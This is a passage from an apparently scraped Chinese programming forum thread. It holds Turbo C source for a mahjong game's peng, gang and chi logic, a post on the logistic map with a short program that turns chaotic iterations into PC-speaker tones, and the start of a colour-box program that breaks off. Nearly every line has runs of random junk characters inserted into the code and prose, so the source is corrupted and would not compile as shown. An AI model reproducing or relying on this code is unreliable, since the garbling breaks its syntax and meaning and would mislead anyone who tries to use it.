x1=200;
4 `7 o! c$ W" ^# F4 I+ Zy1=165;% |4 n* I7 [0 H8 l/ h/ N4 z- v
fillRectangle(x1,y1,x1+20,y1+4,0);; }- r7 R; t- V( |& w+ e
}
3 A9 i" q# l* x" Q, c( Z% uif(every==10)
9 Z! I0 W) T0 g0 \{
  u/ A  B  z! P) a/ H; f5 ^" zx1=220;5 n2 q; d$ y" F
y1=165;
7 f4 U' t4 S: {' j( X) F# p3 k  qfillRectangle(x1,y1,x1+20,y1+4,0);
8 |* c6 K- _5 W; J1 R}
% v3 L5 K0 X: Tif(every==11)
0 g. y# a, m% K3 ]5 ~7 `  J{
: D: P' J# a# R: n! tx1=240;
& J, ?& f0 Q. `  k  ey1=165;) ^) _# Z1 C  C  w/ u; F% A
fillRectangle(x1,y1,x1+20,y1+4,0);$ |1 O( O* J8 [* U3 |' z. b3 g
}. B3 `* x4 d; p. A* l; q* F8 {! r
if(every==12)# B: s2 o* |* }) ]4 c) K8 d
{
( M$ l9 z6 x2 q; t0 g  G/ b6 Zx1=260;
0 L% y5 k8 p3 z1 x/ A9 ~0 ay1=165;( R" n) S( `+ k! a: y! o0 x* Z8 b
fillRectangle(x1,y1,x1+20,y1+4,0);
- p& r- }4 g. p* n" \( A4 \- Z}( {# e" U* m: o! M8 p4 O
! w) @& n; f7 _
zz=0;9 z0 T; J0 M' [3 N7 Z
every++;
- ?# P" D; R$ \+ D$ Fz=z+20;
5 e; t9 u" e  Q0 F+ e}) z9 K0 y! j1 J: e* q
showbmp(every);; t! v/ Z) I: [/ E
key=keyy;
- Z! ~( t; b3 |6 B2 V% J- d* Rif(keyy==ENTER)% s2 l$ U  ?* ^" ]* D# [3 s8 q" }
{
/ Z, Y/ n  m! s9 U% }rgzn(every); /*********************/( f& z- t: @' l5 I
if(sing==1) /*如果可以乓,做相应的处理*/
  ]6 Z7 f* h. V' n( y2 X2 J8 L{ : x4 b- b. u8 }1 o7 c+ a) f
kkk=0;
% v) G: E7 \# A( R  Z3 n: A9 nkkkk=0;6 C; x9 o% q! i$ y% t9 O* z7 l
while(kkk&lt;=computer.m)
  o1 k% Z5 U% G0 R{+ J! d9 S5 R) ^+ g, J, b  x
if(computer.pp[kkk].p!=1)! _3 J, I) ^3 t
{5 Q& Q3 I, b/ X) ^+ f
comp.pp[kkkk].k=computer.pp[kkk].k;3 ]/ ~, L/ \' y* s# O' m3 o5 h
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
  N4 S) P5 S) `* s9 w( W7 M( Pcomp.pp[kkkk].number=computer.pp[kkk].number;
  y# x) Y9 j7 d7 F+ ?kkkk++;4 S5 c+ q8 a/ `! S! x9 e4 ?, M& g
}5 E- {% i8 |6 ?+ ]$ U, d
else
( o* l7 n2 s0 P% J# ~$ j{
: J' ^2 z  y/ Pm[computer.pp[kkk].number].data1=1;1 M9 p! C+ }  s0 N4 V
dwei=computer.pp[kkk].number;
* V+ P1 S" M" Scomputer.pp[kkk].p=0;( r% M4 v+ F. p9 K8 M
}) r2 L! ]! T8 b& d/ `
kkk++;% a0 d+ M; U6 a$ n
}
6 I" D3 t+ x3 W3 ~ll=0;2 g6 K0 _4 x* T! c

% r7 \; O; ^# v8 }/ S* a) awhile(ll&lt;3)
& O, C7 B: p+ f% w2 h& H{ zl=zl+20;2 J' E' z  Q" |% r1 K5 E. y- Q
bmpp(dwei); /*显示乓的牌*/
3 O9 q) Q6 B+ ^  oll++;( h4 ~* p) M, z9 o' j' c/ [- C2 N  [
}
" g( e. k( [' G, R) @
* C3 c/ ~& T8 ?: t3 \$ ?' k* E( yzl=zl+9600-60;
" |: N" X/ W+ ~& S  Bkkk=0;
% m: m# m  r% r% B. }1 zcomputer.m=computer.m-2;1 E: z0 j4 |6 A3 L
while(kkk&lt;=computer.m)9 y- c5 r- j) |" T
{8 n( _# Q- U$ G0 \
computer.pp[kkk].k=comp.pp[kkk].k;
. z' [  K* @3 q! tcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
' @9 D; d8 h) @- Q2 Ncomputer.pp[kkk].number=comp.pp[kkk].number;2 h) r# @/ k1 `6 R! y7 W
kkk++;
  u4 x; x6 Y# c. l}# u& |+ o' g* |' u8 Q: W
ll=0;
- U, z( F! K$ Y* E6 ]/ n- ]temp=random(computer.m); /*出牌等待完善*/" j) m* Y( V' |1 a( _" x: f7 \; O0 g
zyy=zyy+9280+20;
# q; m4 F1 i2 V' pshowcbmp(temp);
! r7 ~: d) T8 O: x- s' hzyy=zyy-9280;& c8 ~' O; A! U7 A3 J3 A$ A
/*****/5 D5 [( S0 v& b6 }
rgznme(temp);
3 Z6 S# S% O  H1 V" M2 Z2 `  Y8 Jpanduan();' T: c8 F- e" t9 p) }$ r
if(me.m==0)
9 s( O: a1 L4 e; @. `  mif(second==1 &amp;&amp; threes==0)/ b: L: f3 E. T& h# u" Y1 A
printf("you win!");$ Y) G) E/ M3 d& ~, V  t
if(me.m==3); I+ W4 T8 X% E7 K- S
if(second==1 &amp;&amp; threes==1)
5 O& e6 s+ y* D7 W0 Eprintf("you win!");% H7 u2 b5 [/ J, A
if(me.m==6)9 G4 v* M3 O0 \/ f' O
if(second==1 &amp;&amp; threes==2)  Q4 z% j2 t+ S. H. B8 u
printf("you win!");* p3 O+ b9 E2 f
if(me.m==9)# \3 R  t: B+ Q; N6 l. Z
if(second==1 &amp;&amp; threes==3)
1 {6 Q" S# M; I5 o4 o% qprintf("you win!");
; m) W" q( N6 m5 jif(me.m==12)
9 {" z. {! k2 \, [if(second==1 &amp;&amp; threes==4)/ u8 a' W: _7 ?6 M! k) s1 Z
printf("you win!");
4 {8 Q  d! X% z- y$ c. w2 W- Y" P8 ^" Z( X1 C
kkk=0;8 n9 c) h9 R+ O6 {; B" l8 N! v8 P* z
kkkk=0;0 B$ I: g# `. o
while(kkk&lt;=computer.m)/ O6 m! I# d! e2 c6 W5 R3 c
{& R. b) z* y" C4 b) j% E/ _" W
if(kkk!=temp)& b7 V/ y* G/ A) a; t, h5 U# @
{
( J) ^4 L7 e: [5 @* X3 N; fcomp.pp[kkkk].k=computer.pp[kkk].k;
- u" E1 G& G9 G6 ccomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
8 }( o! p6 \' W- ecomp.pp[kkkk].number=computer.pp[kkk].number;2 y( @4 Z$ T9 H2 o* B0 \# Z. Z7 c
kkkk++;
  m- I  }6 P8 |" ?9 ~- @. G) R# G, I4 k9 U}
- I7 V2 F; P, E6 I+ q' aelse
  R. j  g# P3 H$ D# [m[computer.pp[kkk].number].data1=1;9 m: u, I) v% t( l' _7 |* ~/ I
kkk++;4 ~& g3 j7 h) Q& b6 ^/ N1 ?
}
9 Z. ^2 X$ z! U0 R+ E- v5 Kkkk=0;1 v$ t: m6 I0 {# d! f7 S5 p: J* `- C
computer.m=computer.m-1;9 e* e: `+ R6 u7 ~$ W4 {
while(kkk&lt;=computer.m) ) O: y% H5 J, j+ [* d
{
' U% z0 i  Q$ c6 R, Rcomputer.pp[kkk].k=comp.pp[kkk].k;
4 Z6 l6 R) H/ R: L9 Jcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;+ e2 s, o) D6 G. W) y
computer.pp[kkk].number=comp.pp[kkk].number;. Y# \6 J0 }) s2 a- N0 B
kkk++;
2 u) i7 \. G7 z; J: g( o  k. ]; d}
5 h, ~4 E2 o! X. Y  ]fillRectangle(0,0,320,30,0);
9 T0 Z7 p, b! I- ~/ t# r; Jn=computer.m;" B; `4 E( X# ]9 O- T
ll=0;2 l1 t* T% C! A; B; V6 j
zy=0;) U  K5 x" w& p$ `& t4 t" |
while(ll&lt;=n)
$ |& [* g0 m0 Z' Q2 R! g  j{
: {+ D5 u8 Q: H- Ezy=zy+20;" z: E$ S  r( n9 j$ P6 x+ k5 g
showybmp(ll);5 C6 _* r1 A& Q
ll++;; D# C. z  r$ `' `
}
( j$ @  y; {6 O$ y; E2 ^2 e5 L( Ill=0;
3 w" e; N: {+ I5 `% B4 dgetch();
3 ~! P) c$ l7 ~1 |) osing=0;
0 a! i/ P* q$ R9 H% o  N6 [! |: lsing1=1;( i; ]. j/ Z$ \5 r% A
}
2 ~& Z; t4 u9 E7 S
( L3 V& i5 v5 {  zif(sing==2) /*如果可以杠的做相应处理*/1 Y' t! E' S  a$ ]' a! K
{. ?* U$ a. p6 d8 `% ~
kkk=0;
; V/ P: s. \- u- D6 m+ m% zkkkk=0;
- ~  I7 |. P! ~8 V' dwhile(kkk&lt;=computer.m)! Y1 U/ L- i) q  p: R  G* G6 B
{: i9 l4 n3 A: V6 o; W
if(computer.pp[kkk].g!=1); H& @; b/ K6 J5 i8 s; D! D
{
  P6 I. H! B+ q/ E$ @comp.pp[kkkk].k=computer.pp[kkk].k;
# M: d8 {  N* x" d! w; Tcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
/ ?! g4 E1 S: b2 P, Fcomp.pp[kkkk].number=computer.pp[kkk].number;
/ e7 B  p1 o3 V& P0 t- ~kkkk++;0 K; ~4 I( a! p6 {4 {3 \
}2 V9 S4 O+ j8 q/ D0 D$ Y( ?! _0 }
else5 j! h6 F  n, ?0 }
{
- u7 P4 l9 X  N* S: X% Sm[computer.pp[kkk].number].data1=1;
( ~/ K  ~" ^( R& F: I( ddweig=computer.pp[kkk].number;; j- n; A; p! @7 a
computer.pp[kkk].g=0;9 c4 ^+ Y- d: t1 i
}
( |, Q8 g2 [* b0 s, Rkkk++;* w) x8 U) H4 `: N
}
2 q* A0 G7 T, [. ~ll=0;
8 n8 Z. c9 B1 |. M" `  k( }0 }  c  @* }1 E) N  b+ J1 k
while(ll&lt;=3)
( v9 [' }( i2 W6 p  H: L% ~  I( o{ zl=zl+20;  P8 c, N( g1 ^8 Q' Y
bmpp(dweig); /*显示杠的牌*/4 x2 l( t) h, l& B
ll++;
# p- H( q! d$ B4 x: g7 L+ A3 p}
6 C+ C" _1 K+ Z. K' ~1 h; T: {1 C" fzl=zl+9600-60;
6 \- R" i0 I2 a) bkkk=0;
$ W, V* B# s0 Wcomputer.m=computer.m-3;# h1 t; R. g# q7 Y: L8 T7 H
while(kkk&lt;=computer.m)
8 P+ V8 J$ G& j3 q+ p8 {{" e, R; N) _% M( J/ r; ?
computer.pp[kkk].k=comp.pp[kkk].k;
# B& N1 W4 H( ~  ^computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
- o0 S, [2 u$ r0 c* Zcomputer.pp[kkk].number=comp.pp[kkk].number;
5 n% C6 N0 Q8 h6 y/ m* p. d% okkk++;
& w) i5 p: z' K7 |3 j}
: _% i% p5 o3 R3 {7 X# _kk=0;( @+ y7 \- O- k+ t& }
computer.m++; /*加一个牌的容量*/
9 M* l3 @) |$ I$ Y2 Dwhile(kk!=1)1 d% f! l6 S/ V* C0 `, T
{
2 Z5 X% i  f8 b- ltemp=random(136); /*出牌*/
6 w4 t7 L: s6 R% Eif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)" u5 w1 m( |/ K
{
$ o& h+ T; H% c! gcomputer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/' Y: U5 F! I) U: L4 D3 v1 V
computer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/. {; I# i: |3 O; E; N- ]/ l; v
computer.pp[computer.m].number=temp; /*第几张,用来排序*/7 _2 J2 y# j$ h% E1 \' p; {# S9 m
m[temp].data2=2; /*判断牌是谁的,2为电脑*/& q/ V  O0 }: W- }+ s$ J4 m8 a
kk=1;* F3 ]. |* t6 b; O2 Y# n- z7 a: E0 |
}
# H7 d9 `, e& t}
, o" D" G: `+ p2 n" Z  L' Xcomlipai();
9 Q$ Y6 G5 v6 h+ ^  T' V# L/ S' A& Btemp=random(computer.m); /*出牌,等待完善*/- Z+ Y* q, u2 X( V4 r6 L+ J$ D$ }
zyy=zyy+9280+20;
! r  {) c7 j& J! }1 g, P' ashowcbmp(temp);6 [0 E, H) E* B. d$ c
zyy=zyy-9280;
+ i. J% i9 E+ T5 E5 r! W/*****/
7 t! D1 _& L/ Z, {rgznme(temp);
9 ]/ b% i5 M% R/ ?2 K( K4 lpanduan();
' m1 n* V- x- B* wif(me.m==0)
8 Z- u9 P2 m% a% |if(second==1 &amp;&amp; threes==0)
1 ^+ n! V" b, V- d, oprintf("you win!");0 |% h6 C1 _9 P1 {
if(me.m==3)! f) z4 `5 M8 C2 D
if(second==1 &amp;&amp; threes==1)
; O) S: e0 Y2 {1 V: pprintf("you win!");
! b5 |3 Y& j; Y2 I& _& c0 t9 Rif(me.m==6)
3 B0 K8 ^1 {# x/ |  B5 }8 C4 jif(second==1 &amp;&amp; threes==2)
, R% n/ x) m1 v; U- aprintf("you win!");
0 d3 ?8 `$ y: w1 u- k  R: f9 jif(me.m==9)- F3 R& \$ C7 B& }) Z: i2 Z
if(second==1 &amp;&amp; threes==3)
, z# K& o# }5 B" aprintf("you win!");' r! t7 l/ N' z2 C
if(me.m==12)
# |  k( o( {- ^) M0 ?/ eif(second==1 &amp;&amp; threes==4)2 G$ B: d- K, K5 P1 W
printf("you win!");
+ R* `& [; @9 V/ {$ V
  N" Q1 U/ o2 Okkk=0;
( _  x! w8 y6 j! E( bkkkk=0;
- R1 G$ k/ [( l; T' o% X3 [- m. Rwhile(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
6 V% n! ^6 W2 T: I{8 h  L5 j3 w# k$ k4 s* s) N& x
if(kkk!=temp)
) D8 p4 n: Q4 h1 R4 d- H" V{: f' Y3 j% W' m7 b8 O
comp.pp[kkkk].k=computer.pp[kkk].k;
$ k5 D5 m. K0 ^& Ecomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
3 g8 W5 Y; D4 E  S) Fcomp.pp[kkkk].number=computer.pp[kkk].number;! i4 M' |% p) `6 j% g: J5 J! Q
kkkk++;
& K9 d: O3 A3 R+ v}' }$ r4 V8 @7 g, k; ]/ l
else5 d, [+ t# Z, a! F5 ^3 e8 [1 }
m[computer.pp[kkk].number].data1=1;
. [" a6 M, H! P0 X% P: q+ R5 R0 }kkk++;
' n1 P0 H2 e" T2 X}
1 `/ r2 I. c  O, h0 K1 o  z" L3 i) [kkk=0;
* J; z/ D6 ?+ S7 ~4 ~& e$ g' |, ~computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/
/ a( w- @2 o9 r" V8 V$ Zwhile(kkk&lt;=computer.m) ! t: T$ ^) G9 V3 y& M. ?+ P$ V
{% h3 @: x6 x, x; }. A- V$ k
computer.pp[kkk].k=comp.pp[kkk].k;
8 `: a; ?, |' i; ^/ y2 D" r0 q1 i! O- Q# mcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;7 _6 Z9 G' u9 z+ l3 y
computer.pp[kkk].number=comp.pp[kkk].number;
' `: b9 t7 |, y& O% X6 rkkk++;
1 T$ E4 b! Z1 P  i$ n1 x}
4 E4 @( X, G8 [) C9 F0 D) R+ C  k) IfillRectangle(0,0,320,30,0);2 ?% n# G6 @0 [$ o) Y; t. T
ll=0;% e* |" @/ b4 z3 d; @% \
zy=0;
. }! F! d6 S8 \  s& G2 Iwhile(ll&lt;=computer.m)5 ?% i1 ^' q! Y
{, [! e) }; l' C1 k/ Y6 h0 T$ e
zy=zy+20;2 s) w; O  e& @- B1 Y: J
showybmp(ll);
2 Q3 T+ b3 I2 Nll++;
9 W# |/ ]- F+ ^% L: h% J" C}
" ]' |4 H1 G' f+ L& vsing=0;( M: K- r# Z  c
sing1=1;1 J( l- ~! h! Y. p( h& U" P
}* ?3 I# C9 P9 J( ?- t- d; F# Z
if(sing==7) /*如果可以吃的,做相应处理*/
) z5 G/ z# }  o% k{ nn=0;
" A/ f( t3 k- e3 S0 j8 F% Zkkk=0;
, l) Z. L; D9 h; r  x* Lkkkk=0;
. N+ p) ]) K. f# y# Q0 G2 gwhile(kkk&lt;=computer.m)
7 r" r& A5 q1 f: k{
( _5 K' V0 ^+ Oif(computer.pp[kkk].c!=1). s7 U2 Z# [/ A! p6 K: `0 h
{
( G, f' }& M' u9 Z; ^" _comp.pp[kkkk].k=computer.pp[kkk].k;0 C& d( U% u" n. C! S( |
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
+ R% C, \  X! I0 I0 `1 jcomp.pp[kkkk].number=computer.pp[kkk].number;/ j5 ^1 g! B; Q1 d
kkkk++;; z( g- m" N9 A$ p8 Q2 a
}
' b6 }; s  }7 A( b$ R8 d- delse
; z) E" B& K8 o0 Z* g( c  }{
5 Y3 V+ ^  B% R+ n% O' Fm[computer.pp[kkk].number].data1=1;, _, V3 M% x5 x' z
dw[nn++]=computer.pp[kkk].number;0 F  H$ ~9 y. W/ n: u& ]
computer.pp[kkk].c=0;
5 h- m/ }  K2 L2 W1 L& ]; B+ d}
5 n( r8 F. \; U+ Fkkk++;
, a5 y7 `* q1 G$ k" t" Z/ D7 ^}5 z+ D, Q- X- \8 n  Q; _
9 h. N5 T1 a! U9 W% s
if(me.pp[every].number&lt;dw[0])+ b2 Q6 l% G, n: |5 A) O7 q
{. t# q' i* S, T
dw[2]=dw[1];5 d1 v( @) i3 B! H* T- ^( t
dw[1]=dw[0];% w( W. x9 |+ ~
dw[0]=me.pp[every].number;$ @- U- R, \4 w; }- W
}5 J, K4 z5 q- I+ v7 a: ^- n% n. Q# m
if(me.pp[every].number&gt;dw[1])
$ W0 H$ E$ }. {2 \/ F" W- j" t{6 ~0 e& {# R. V
dw[2]=me.pp[every].number;
$ j- q5 F' F1 y+ Z# o: }}* q; \' M, G! ?
if(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])
8 J; p) ~+ }' }$ J# M. M{
1 @: `0 o1 _" T: B( rdw[2]=dw[1];
- T! s& f( X# b! Xdw[1]=me.pp[every].number;- ^$ q8 U5 d' z4 b
}7 u9 c0 U1 C9 Y! u
nn=0;0 t% J8 B  y; z
while(nn&lt;3)' p9 g4 p8 v) v/ M# I2 O0 j* E
{ zl=zl+20;/ K; X: O" k1 D
bmpp(dw[nn]); /*显示吃的牌*/
7 b: M" a' k' s( q9 g- onn++;. h( r7 m5 ]/ N5 D6 W! w: [; U
}
% `! W3 E' z4 Wzl=zl+9600-60;
) e: b- j' W# H1 h: Q) Ukkk=0;
! Z% ]& D  I2 v: bcomputer.m=computer.m-2;
  H6 @. G8 o* V: d  Y8 }) @* Z! wwhile(kkk&lt;=computer.m)9 i0 T8 @/ s! K' V
{' G/ ?7 X: d, v8 e3 {3 w: ~
computer.pp[kkk].k=comp.pp[kkk].k;
& s/ w4 @7 E( L( x! Q, @computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;1 |' t' U' v9 Q# m. C
computer.pp[kkk].number=comp.pp[kkk].number;
/ h# j1 z* h' i4 i2 h3 S! A1 ekkk++;' ~( @7 K6 z1 L& _
}
' ~+ @* G  E( g- Bll=0;) J. B; ?6 j- e0 [  P8 B/ C9 z
temp=random(computer.m); /*出牌等待完善*/3 t' V" l* }0 O  m, V
zyy=zyy+9280+20;. Z' c/ v+ G% v% d% `, S( z$ D5 D
showcbmp(temp);
/ M4 f% j$ L, Mzyy=zyy-9280;5 T- h. G% t3 S
/*****/+ u4 b6 k1 [1 O! E0 d( f
rgznme(temp);
' s8 p5 D' T# q; [# d0 H6 p; Ypanduan();1 g& N% i+ u) e' F# b8 R* Q
if(me.m==0)  b7 T% P; o* U7 c0 q( q, f
if(second==1 &amp;&amp; threes==0)) P0 m! [" q- M
printf("you win!");
- l( V2 D, Z5 G8 R' _+ Zif(me.m==3)# Q" O# K% P0 t& c* c% @
if(second==1 &amp;&amp; threes==1)6 _# Z& o3 l/ I
printf("you win!");$ e/ x4 M0 ?; B6 G- }5 w
if(me.m==6)
# m) W7 c( d7 B% {+ Aif(second==1 &amp;&amp; threes==2)
5 b1 o, c6 [% @# Zprintf("you win!");& I/ R8 p9 K; ]3 E! C$ h
if(me.m==9)' j/ L; D3 E$ [
if(second==1 &amp;&amp; threes==3)
4 \) G2 ~) J+ h1 ~1 m, ?6 Uprintf("you win!");
/ K0 e  G4 k+ z; F0 I! c- }if(me.m==12)
9 u( o0 e+ r- @  R, sif(second==1 &amp;&amp; threes==4)
/ N/ H8 g+ T$ `8 e: T" q& R# hprintf("you win!");
4 e9 O2 a" e4 ?5 z( a+ @% p
& w& \2 U+ H8 O2 G9 Akkk=0;
: X4 R4 f# D# B! Fkkkk=0;6 \6 V* I" N2 c: ^
while(kkk&lt;=computer.m)- ]( @* O( E7 V4 a8 z3 L( w1 t* M
{! c( w" l; G  I. ]
if(kkk!=temp)
0 t, \% }0 N+ R+ K9 z4 E{& D* Q7 O/ a! S3 k! X
comp.pp[kkkk].k=computer.pp[kkk].k;
& p# N0 v; c. \) h5 Jcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
' n2 g# K* q1 m. p: v3 L/ Zcomp.pp[kkkk].number=computer.pp[kkk].number;4 t9 e. N! a* b3 z; Q
kkkk++;0 V: A! a! J  X+ K
}
2 k. H1 {" Q( q+ b8 @. Nelse5 y$ V; v# f; w7 M* u& w; K& N
m[computer.pp[kkk].number].data1=1;7 a" B& t' {/ y
kkk++;) U' q9 y! T' [+ s
}* i) ?6 d' Q, p4 z
kkk=0;- E& l  |% B8 G/ L
computer.m=computer.m-1;
8 E$ t* q3 I% Awhile(kkk&lt;=computer.m) " p( O0 ^4 I2 i
{
4 f4 H* B. p- p3 Jcomputer.pp[kkk].k=comp.pp[kkk].k;  D# }! O( f! ]7 K; Z! g
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;& g  L! U8 r' A; [: t; E6 x
computer.pp[kkk].number=comp.pp[kkk].number;5 z" F# {. {) r0 e5 e3 E
kkk++;
1 @+ J' k3 `; b}! w5 P6 H  s0 j5 v& S
fillRectangle(0,0,320,30,0);" @5 ~, Q( Z1 ]0 F
n=computer.m;3 O& z! o* @; V# H
ll=0;
5 {0 |% m+ I6 I0 D, g+ Fzy=0;
; |0 I: c( u; Pwhile(ll&lt;=n)' n) ^1 ~5 a: _. u8 Y
{
8 m9 s0 \; A$ {zy=zy+20;
6 S: `- T. k9 a6 e" b' Hshowybmp(ll);% _+ w6 ]7 F# b" n- t" [) f
ll++;) U: j( ~; S9 }: R4 J
}8 `% O* c) I. |# R- D& X
7 l. z; ~! V) _9 X2 i& f5 c" p
getch();- m* j6 B  R* n( S. h
sing=0;
9 e; R" |: ~; I5 Y; U0 Q4 }sing1=1;& H( P# N& X2 _) R9 F
}3 m$ r% K4 P! x. t: Z' y9 v' P
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/) W6 c+ m, p6 _
{* \' y) i5 n* W  }1 ~  H' S  a
kk=0;
& V* g# J8 S4 b6 U- d& eh=me.pp[every].number;
  s( b) n5 P, _, vm[h].data1=1; /*此牌已经无用*/$ a# U  s; b% ~% O& }9 D+ V0 l
if(sing1!=1)
" b! ?" _. a/ p# _. M$ N, L( ^{% [+ `1 `  ]1 ]8 j- a
zyy=zyy+9280+20;
* t; c, X5 S% ]; C8 Gshowbmpd(every);
" {" Y# f7 [, l  p5 ~7 Q! E7 a+ Tzyy=zyy-9280;# z8 R$ h5 X/ j) p8 u' l6 T7 v1 ]
}
+ R4 r" v/ {( \. |+ L+ {while(kk!=1)& j5 i+ O2 d. X! d9 Q6 [. A3 `
{
4 F; V! A1 F! E  U! ?temp=random(136);
6 i% c5 N/ G3 @% P; rif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)' u" o# V% H, V
{
: w/ W2 u, v! e" e9 P4 F! mme.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
) K' P0 A( L* W. V6 Dme.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/  t+ v& |' b* P$ R) ]5 n
me.pp[every].number=temp; /*第几张,用来排序*/1 r( i) c. v! V) H8 f
m[temp].data2=1; /*判断牌是谁的*/
( I! Q4 K, o/ B  i2 z- rkk=1;& X- u7 u1 |5 Z. w1 q( b  ]
}
" D3 b  t. J. ^& D1 h' Yif(kk==0) /*判断如果又选择了,就从新再选*/
4 d& \: z1 `& L$ n8 R7 l# z* okk=0;
5 d1 l6 M- k, D  v% |$ [}
; W3 N9 W+ C8 Y* e}; X2 ]4 R$ \" S& h
sing=0;. `+ {( U$ t9 n( u7 p6 D. v
sing1=0;
+ |& Z( ^! ~! Omelipai();9 {4 [8 L% _) }
n=13;) f- S% F! M+ J# {* Y  r4 x
z1=54400;5 y7 y; N8 \4 d, J9 c8 v/ O
l=0;5 F) g) t8 \. K% g* k, d7 q
g=z;3 H4 w0 z% ]' |9 L
while(l&lt;n)
/ V1 B+ G" H5 F) G& e/ N0 l; h  Z{ z=0;
$ }2 p9 m1 Y/ A7 i2 g/ P* I. J' Uz1=z1+20;" t, K/ ]# J, ^/ T! t; E
showbmp(l);
/ a. o& j4 Q. s& k  g2 Nl++;
# F+ k% u: H( N: O* E}" b* ]% w5 Y+ Z& s1 |2 j( i( M3 m
z1=0;6 \/ [6 B" Y0 [7 \3 _
z=g;
$ c: m9 l) j  O& r* d% P}
3 \" k, X' r# K; E" mkeyy=0;
( w# f9 W0 G/ V}
6 Y7 ?& Z+ L6 Z( O
" B% g2 B. j5 u7 V- c, fgetch();8 o. w1 Z: R3 {0 f% Q) U
OUTVGA;
3 n9 r* e# y; C! L6 F} 0 U8 F3 ?" J, \
</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])
: \0 a6 Y& u: C. ^; H: i</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:
9 f$ m: F# j5 _
' @& g6 d  A. a7 M" p  w  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。
3 b; @) j% R& f5 I0 Z) J6 a  <FONT color=#009900>#include <DOS.H>
7 _7 t4 T; M2 @* k! A4 n  #include <STDIO.H>* Z5 N. r0 g% [) X2 n
  main(){
- T7 }0 U: d9 T  c6 m  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/
( _7 \" F: \2 J  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/" r# g7 _. ?( W# `$ |& t
  /*i,j用于循环记数*/
; k* h8 X' F" u7 \! N) r4 y) _  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/
. J( v$ K( x! ?5 v  fDis=fMax-fMin;: f. @0 X3 B) B2 ^
  for(j=1;;j++){
9 M  x* {. @0 k$ W( n& x! z  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/
, C6 w( T! v, f4 [" R  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/
! f) l7 T' _$ j4 L" Z- k$ o  scanf("%f",&k);
* V3 R4 ]) J; @+ G  if (k==0) break;
* E- D* Y" S4 z- C' ^, S# O0 p; i  for(i=1;i&lt;100;i++) /*去除开始的100个点*/
- r) R  b% E& r# H" W: T& s  x=k*x*(1-x);
' r$ C" I9 u1 l/ e' R4 d) O  for (i=1;i&lt;100;i++){
; H4 v. P  r# w4 p  x=k*x*(1-x); /*计算x的值*/1 q+ X8 c8 \% ^8 m
  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/
4 ?& G7 \1 l/ }/ h9 _1 A4 t  delay(1000); }
* v: s4 @3 n0 f6 t3 z( d  nosound(); }}: q1 H' J8 c' A# \* |- j
  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。7 ~3 y& k& K. m/ Z6 q" b
不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
  h5 w. Z$ G$ d: }; L6 c<FONT color=#009900>/*6 u. z" U4 s7 W) N+ \3 u2 f
*. A# D6 A, l" P. s' a8 H/ v* U
* Short driver module
/ ~8 o: O* q- F2 a& I' p+ X9 N, @, u*' V8 C: M% D; Y' h. b
